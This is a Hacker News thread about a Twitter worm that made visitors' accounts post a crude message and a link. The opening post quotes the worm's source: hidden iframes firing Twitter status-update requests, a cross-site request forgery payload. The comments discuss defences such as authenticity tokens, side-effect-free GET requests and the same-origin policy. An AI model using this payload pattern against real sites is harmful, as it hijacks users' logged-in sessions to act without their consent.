Twitter worm? Sex with goats? | Hacker News Reader

Twitter worm? Sex with goats?

25 pointscjus27 comments

Looks like twitter is having troubles again. Looks like a worm is posting the message "i love anal sex with goats" followed by a post with a link.

View on HN

Below is the source of the worm for the curious - it's surprisingly very simple.

    <html>
    <head></head>
    <body>
    <script>
    var el1 = document.createElement('iframe');
    var el2 = document.createElement('iframe');
    el1.style.visibility="hidden";
    el2.style.visibility="hidden";
    el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
    el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
    document.getElementsByTagName("body")[0].appendChild(el1);
    document.getElementsByTagName("body")[0].appendChild(el2);
    </script>
    </body>
    </html>

I'm amazed Twitter doesn't use nonce values on their status updates: they've been around long enough that this shouldn't be an issue.

http://en.wikipedia.org/wiki/Cryptographic_nonce

Links like that are a common way to implement "share on twitter" buttons.

Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells.

Being around for a while was part of the problem, they didn't want to break existing sites.

That would be a cross-site request forgery (CSRF) attack:

http://en.wikipedia.org/wiki/Cross-site_request_forgery

Yet another reason why all GET requests in an API should be idempotent.

idempotent

I don't think that word means what you think it means.

Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.

You probably meant "GET requests should be side effect free".

RFC 2616 HTTP/1.1 has a definition of idempotence with regard to request methods:

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

Section 9.1.2

"Methods can also have the property of "idempotence" in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request."

Idempotent means that the side effects of n > 0 requests are the same as for a single request. The "update status" method is not idempotent, as calling it multiple times would post multiple statuses. I think the parent's statement is sound.

A request that is side effect free is idempotent by definition.

so, if the first call posts a tweet and the second does not, we shall be satisfied? I stand by the side effect free side :)

(notice that tweet posting is actually kind of idempotent in twitter: if you post the same message twice, it will only appear once)

Right, but the concept was created to talk about distributed systems and remote procedure calls where if a failure happened on your end and you didn't know if the procedure call worked, you wouldn't have to check if it worked before retrying. So it doesn't quite fit here. Also, I don't think idempotence is a solution to this since a) This is more of a security issue, and less of a systems design one and b) you might actually have a legitimate use case for multiple posts

...the concept was created to talk about distributed systems and remote procedure calls...

I'm pretty sure the concept's use in mathematics predates that by far.

I'm glad it's not slashdot because this would be an impossible choice between +1 informative and +1 funny

Good point. Was getting terminology mixed up with PUT.

While strictly speaking impotence wouldn't prevent this (trivially speaking you could only allow a single tweet with a given content), in practice idempotence is a sufficient to avoid this.

Even if this were a POST request, once could simply issue an AJAX request of any type to Twitter and it would have the same effect.

Alternatively build a form in the iframe and use JS to submit it to Twitter.

Kids -- this is why you only support POST/PUTs for writes, and if possible, require some kind of authenticity token. I guess this is what al3x was talking about when he meant that Twitter should hire a security expert.

That token should not be considered optional. Even if you require authentication you should still have a one time expiring token tied to an actual form recently shown on your site for this sort of thing, Or an api key if it's a rest service.

Your "if possible" clause makes it seem optional but if you don't include it then your service is vulnerable, period.

That alone won't protect you against all CSRF attacks since you're allowed to POST forms cross-domain.

Checking the referrer header is a start. Including the token you mentioned is even better.

Sure, the key will stop CSRF attacks that rely on just an iframe, but if my attack is more sophisticated then I can scrape the token from a legit form and re-post with whatever data I want.

> scrape the token from a legit form

Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form?

(There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... )

(edit: tweak to 'cryptohash' method.)

Deleted comment

EDIT: The parent deleted their reply; since I took the time to get all teacher-mode here I figured I'd include it, cut and pasted, but without their username.

   > If you know the URL of the form, isn't it as simple as using Javascript to pull up the page, parse the token variable out of the page, and then using that?
   >
   > Right now, the Javascript just has to: 1) post to http://www.form.com....
   >
   > Now, the Javascript has to: 1) fetch http://www.form.com... 2) parse the response, find <input name="authToken" value="ohSoSecureAuthToken" 3) post to http://www.form.com... with the authToken
   >
   > Sure, its more steps, but isn't it just as insecure?

You're missing a concept here, and it's one of these two things (most likely the 2nd):

1) The form (& token) is generated server-side based on the currently logged in user, as determined by a cookie (or http authentication, or https client certs, etc.): So each user gets a different form+token, and is only generated with a valid current session. In other words, you can't get this form unless you are successfully impersonating the victim or forcing the victim's logged-in web browser to make the request.

2) In the case that you do force the victim's browser to make the request, the browser security model has a whole bunch of restrictions on what javascript can read which data, collectively known as the same origin policy (http://en.wikipedia.org/wiki/Same_origin_policy).

In particular, the same origin policy will make your step two, "parse the response", fail: javascript running on a page from a.com has no access to responses from b.com.

Without the same origin policy, we'd all be hosed. Imagine code on a hostile web page that scrapes your contact book if you're logged into email on another tab, your bank account, etc... all of these follow the same basic pattern as steps 1-2 in your reply.

Assuming no other security flaws and verifiable and non-forgeable form tokens, then the same origin policy will effectively protect third party websites from submitting requests on behalf of a victim.

Note that those are both very big assumptions, e.g. it turns out that you can forge 'secure' tokens from ASP.NET because they screwed up their crypto. (I think the tokens in question are typically used for session cookies, but same general idea.)

Honestly it doesn't require a security "expert" to tell them the current system is insecure. A basic grasp of web security should be enough to use PUTS with auth tokens!

Twitter's blog post on the vulnerability: http://status.twitter.com/post/1192873885/malicious-links-on....

Twitter is vulnerable to CSRF (which is what this is). And it is so simple to prevent it in rails (which is what twitter uses). Interestingly the page announcing csrf protection in rails uses a twitter csrf example. in 2007!! and twitter still hasn't done anything. http://m.onkey.org/2007/9/28/csrf-protection-for-your-existi...

Also this status post should be a POST.

Twitter has had CSRF protection in the form of the authenticity_token parameter since that attack in 2007. This worm exploited a recent change to the Tweet Button that allowed status updates to be made on a GET.

Interesting that it hits just as the TC Hackday demos go live, I wonder how many of those are going to be using twitter and if this will affect them (will twitter take the api down for a bit while they fix this or if this is part of a hack)

Reply on news.ycombinator.com